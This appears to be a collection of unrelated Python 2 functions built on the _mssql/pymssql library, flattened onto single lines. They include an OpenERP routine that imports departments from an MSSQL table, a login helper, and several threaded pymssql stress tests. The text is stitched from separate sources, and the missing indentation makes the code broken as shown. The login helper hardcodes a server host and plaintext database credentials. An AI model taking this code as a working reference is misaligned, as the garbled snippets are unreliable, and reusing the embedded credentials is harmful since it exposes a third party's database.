def import_department(self, cr, uid, ids, context,t,departid,parentid,companyid): obj_dept = self.pool.get('hr.department') #obj_user = self.pool.get('res.users') #SELECT id, DepartmentCode, DepartmentName, IdLevel, ParentId, DepartmentType, DepartmentManager, DefaultFetcherCode, Telephone, Address, StateCode, # OrganizationCode, Memo, ParentCode # FROM dbo.TBDepartment #company_id = self.pool.get('res.company').search(cr, uid, [("name",'like','%深圳市牧泰莱电路%')],context=context)[0] conn = _mssql.connect(server=t['server'] , user=t['user'], password=t['password'],\ database=t['database']) conn.execute_query('SELECT * FROM TBDepartment where ParentId = \'%d\'',departid) departids_dict = {} if (departid==-1): mstrtemp1='' for row in conn: print "ID=%d" % (row['id']) mstrtemp1 = import_partner.gb2312ToUtf8(self,row['DepartmentCode']) mstrtemp2 = import_partner.gb2312ToUtf8(self,row['DepartmentName']) mstrtemp3 = row['IdLevel'] mstrtemp4 = row['ParentId'] mstrtemp5 = import_partner.gb2312ToUtf8(self,row['DepartmentType']) mstrtemp6 = import_partner.gb2312ToUtf8(self,row['DepartmentManager']) mstrtemp7 = import_partner.gb2312ToUtf8(self,row['Telephone']) mstrtemp8 = import_partner.gb2312ToUtf8(self,row['Address']) mstrtemp9 = import_partner.gb2312ToUtf8(self,row['Memo']) #print strlogcontent #print "ID=%d, Name=%s" % (row['id'], mstrtemp) #print "ID=%d, Name=%s" % (row['id'], mstrtemp1) #print "ID=%d, Name=%s" % (row['id'], mstrtemp2) #print "ID=%d, Name=%s" % (row['id'], mstrtemp3) print parentid print mstrtemp2 print mstrtemp4 #company_id = -1 departmentid = obj_dept.create(cr, uid, { 'name': mstrtemp2, 'note': mstrtemp8,#此字段暂存部门代号 'parent_id':parentid, 'company_id':companyid, 'dpt_code':mstrtemp1, 'manager_id':False }) import_partner.import_department(self, cr, uid, ids, context,t,row['id'],departmentid,companyid) conn.close()
def _post_login(): conn = sql2.connect( server=r'sunflower.arvixe.com', user=r'hacknash', password=r'hacknash', database=r'hacknash' ) query = "exec ryan.Hack_insert_client @Username='******', @password='******' , @companyname='test' , @address='test' , @MajorInterest='test' , @address2='test' , @city='test' , @state='test' , @zip='37211'" conn.execute_query(query) return
def run(self): self.running = True self.exc = None try: mssql = _mssql.connect(server, username, password) mssql.select_db(database) for i in xrange(0, 1000): mssql.execute_query('SELECT %d', (i,)) for row in mssql: assert row[0] == i mssql.close() except Exception, e: self.exc = e
def run(self): self.running = True self.exc = None try: mssql = _mssql.connect(server, username, password) mssql.select_db(database) for i in xrange(0, 1000): try: mssql.execute_query('SELECT unknown_column') except: pass mssql.close() except Exception, e: self.exc = e
def run(self): self.running = True self.exc = None try: mssql = _mssql.connect(server, username, password) mssql.select_db(database) for i in xrange(0, 1000): try: proc = mssql.init_procedure('pymssqlErrorThreadTest') proc.execute() except: pass mssql.close() except Exception, e: self.exc = e